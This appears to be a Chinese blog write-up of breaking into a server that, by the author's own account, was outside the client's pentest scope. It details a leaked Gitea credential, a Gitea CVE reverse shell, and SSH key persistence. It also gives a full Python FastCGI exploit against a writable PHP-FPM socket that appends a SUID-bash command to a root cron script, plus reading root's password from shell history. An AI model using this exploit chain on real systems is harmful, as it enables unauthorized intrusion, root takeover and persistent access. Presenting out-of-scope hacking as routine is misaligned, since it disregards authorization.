起源

最初在完成一次客户交代的渗透测试任务时,偶然发现那么一个站点,里面的内容不是那么的“健康”。和客户沟通得知,该站点早已废弃,无论是域名还是服务器已均与客户无关。

前期打点

本来在日常测试中,要是打偏了也就收手了不浪费时间,更何况还是个 404。

但是在对其进行前期信息收集时发现,存在 git 源码泄露!本着来都来了,看一眼再走也不亏

除了本身的源码,其中/ .git/config 泄露了更有意思的东西:

哇,居然是 gitea 仓库的账密,直接访问目标登录:

成功登录,而且还是后台管理员!可以审计代码,但是站点实际部署源码和 gitea 中又有些出入,没有成功直接 getshell,看来只能止步于此了……

真的只能止步于此了吗???

初步立足(git shell)

我开始也确实没有更多思路了,将这个站点搁置了好一阵子,直到最近新爆出来了个 gitea 的漏洞:CVE-2026-60004

只有拥有 gitea 账号,并且 gitea 版本低于 1.27.1 即可,该站点完美符合条件,由此拿下反弹 shell:

虽然脚本会执行报错(因为没有回显超时了),但是命令已经成功执行,获取初始立足点。

写入 ssh 公钥,获取更稳定的 shell

1
echo "<your_public_key_type> <your_public_key>" >> ~/.ssh/authorized_keys

成功写入了 authorized_keys 还没完,还有第二关,ssh 监听端口并不是默认的 22

但是我们不是 root,没有权限直接去查看 ssh 的配置信息,但可以从另外的角度来推测,查看端口监听情况:

1
ss -tlnup

经过测试,19908 是 ssh 的监听端口,用用户名和密钥连上 SSH,至此获取到了 git 用户的稳定 shell !

权限提升(root shell)

然后就该尝试提权了,这里算是卡的最久的一部分了。
最近不是爆出来挺多 linux 提权 CVE 嘛,肯定首先先是想到拿新 CVE 打,发现打不通,这时再回看系统信息:

好家伙,3.10 版本内核的老古董了,2026 系列的新内核 CVE 是基本上没戏了。
转头看看老版本的大杀器 CVE-2016-5195 ,但是很遗憾,系统修复了,同样的 Pwnkit、Baron Samedit 也都被打了补丁。

各类像是 SUID,系统计划任务等常规提权手段,包括用 PEASS-ng 和 LinEnum 进行相关扫描,要么是没权限修改,要么被打了补丁,很长一段时间一筹莫展……第一次发现不升级系统居然反而更安全了……

想着这个站都是 vibe coding 来的,不应该没什么疏漏,于是打开了 pspy 监听进程,期待有什么新发现……

事实上,真的让我发现新东西了:

以 root 权限执行的 shell 脚本和 python 脚本,而且经过观察发现是每隔一段时间就会自动执行一次的。

有些可惜的是,我们需要 www 权限才能对他修改,我们能否横向到 www 用户呢?
这里我开始的想法是,这是宝塔面板托管的站,我们 git 用户可以读取站点源码,代码审计后直接进行侧方打击,直取 www 用户:

但是很遗憾,这些站点源码都比较简陋,但正好是因为简陋,反而找不到什么攻击点了……

正在一筹莫展之际,在 AI 的提示下,发现了全局可写的 PHP-FPM Unix Socket,且存在 SUID 标志位:

那么就可以通过劫持 PHP-FPM Unix Socket,向 PHP-FPM 发送 FastCGI 请求,以 www 用户身份执行 php 代码。
不过经过测试,存在 disable_functions:

1
2
3
4
5
6
7
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,
popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,
openlog,syslog,readlink,symlink,popepassthru,
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,
pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,
pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,
pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,...

但是无所谓,能追加写入文件便已经足够了,直接给 key_检查关键词是否为空.sh 追加一条命令:

1
cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash && echo done

执行脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/env python3
import socket, os

SOCK = "/tmp/php-cgi-72.sock"

def fcgi_req(script_file_path, doc_root):
"""通过 Unix Socket 向 PHP-FPM 发送 FastCGI 请求并返回解析后的响应"""
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect(SOCK)

params = {
b"SCRIPT_FILENAME": script_file_path.encode(),
b"SCRIPT_NAME": b"/x.php",
b"REQUEST_METHOD": b"GET",
b"QUERY_STRING": b"",
b"REQUEST_URI": b"/x.php",
b"DOCUMENT_ROOT": doc_root.encode(),
b"SERVER_PROTOCOL": b"HTTP/1.1",
b"SERVER_SOFTWARE": b"nginx",
b"REMOTE_ADDR": b"127.0.0.1",
b"SERVER_NAME": b"x",
b"REDIRECT_STATUS": b"200",
b"HTTP_HOST": b"x",
}

# 1. FCGI_BEGIN_REQUEST (type=1, role=RESPONDER)
begin_request = b"\x01\x01\x00\x01\x00\x08\x00\x00"
begin_request += b"\x00\x01\x00\x00\x00\x00\x00\x00"

# 2. 构造 FCGI_PARAMS
param_data = b""
for k, v in params.items():
# Key 长度编码 (1字节 or 4字节)
if len(k) < 128:
param_data += bytes([len(k)])
else:
param_data += bytes([0x80, 0, 0, 0]) + len(k).to_bytes(4, "big")
# Value 长度编码 (1字节 or 4字节)
if len(v) < 128:
param_data += bytes([len(v)])
else:
param_data += bytes([0x80, 0, 0, 0]) + len(v).to_bytes(4, "big")
param_data += k + v

params_packet = b"\x01\x04\x00\x01" + len(param_data).to_bytes(2, "big") + b"\x08\x00" + param_data
params_end = b"\x01\x04\x00\x01\x00\x00\x00\x00" # 空 PARAMS 表示结束
stdin_end = b"\x01\x05\x00\x01\x00\x00\x00\x00" # 空 STDIN 表示结束

# 3. 发送请求
sock.send(begin_request + params_packet + params_end + stdin_end)

# 4. 接收响应
response = b""
try:
while True:
data = sock.recv(4096)
if not data:
break
response += data
except:
pass
sock.close()

# 5. 解析 FCGI 响应帧 (提取 FCGI_STDOUT 内容)
result = b""
pos = 0
while pos < len(response):
if pos + 8 > len(response):
break
fcgi_type = response[pos + 1]
content_length = int.from_bytes(response[pos+4:pos+6], "big")
padding_length = response[pos+6]
pos += 8
if fcgi_type == 6: # FCGI_STDOUT
result += response[pos:pos+content_length]
elif fcgi_type == 3: # FCGI_END_REQUEST
break
pos += content_length + padding_length

return result.decode("utf-8", errors="replace")

# ---- 攻击执行 ----

# Step 1: 写入 PHP payload 到 /dev/shm (git 用户可写)
payload = '<?php $f="/www/wwwroot/xxx/site1_5/data/key_检查关键词是否为空.sh";file_put_contents($f,"\ncp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash && echo done\n",FILE_APPEND);echo "OK";?>'
tmp_file = "/dev/shm/suid_payload.php"
with open(tmp_file, "w") as f:
f.write(payload)

# Step 2: 通过 PHP-FPM (www 用户) 执行 PHP 脚本
result = fcgi_req(tmp_file, "/dev/shm")
print("Result:", result)

# Step 3: 清理
os.unlink(tmp_file)

成功追加,等待一会,获得 rootbash:

给 root 的 ssh 也写个公钥,就可以持续稳定的连接啦~

后续

然后翻 bash_history 发现了 root 的密码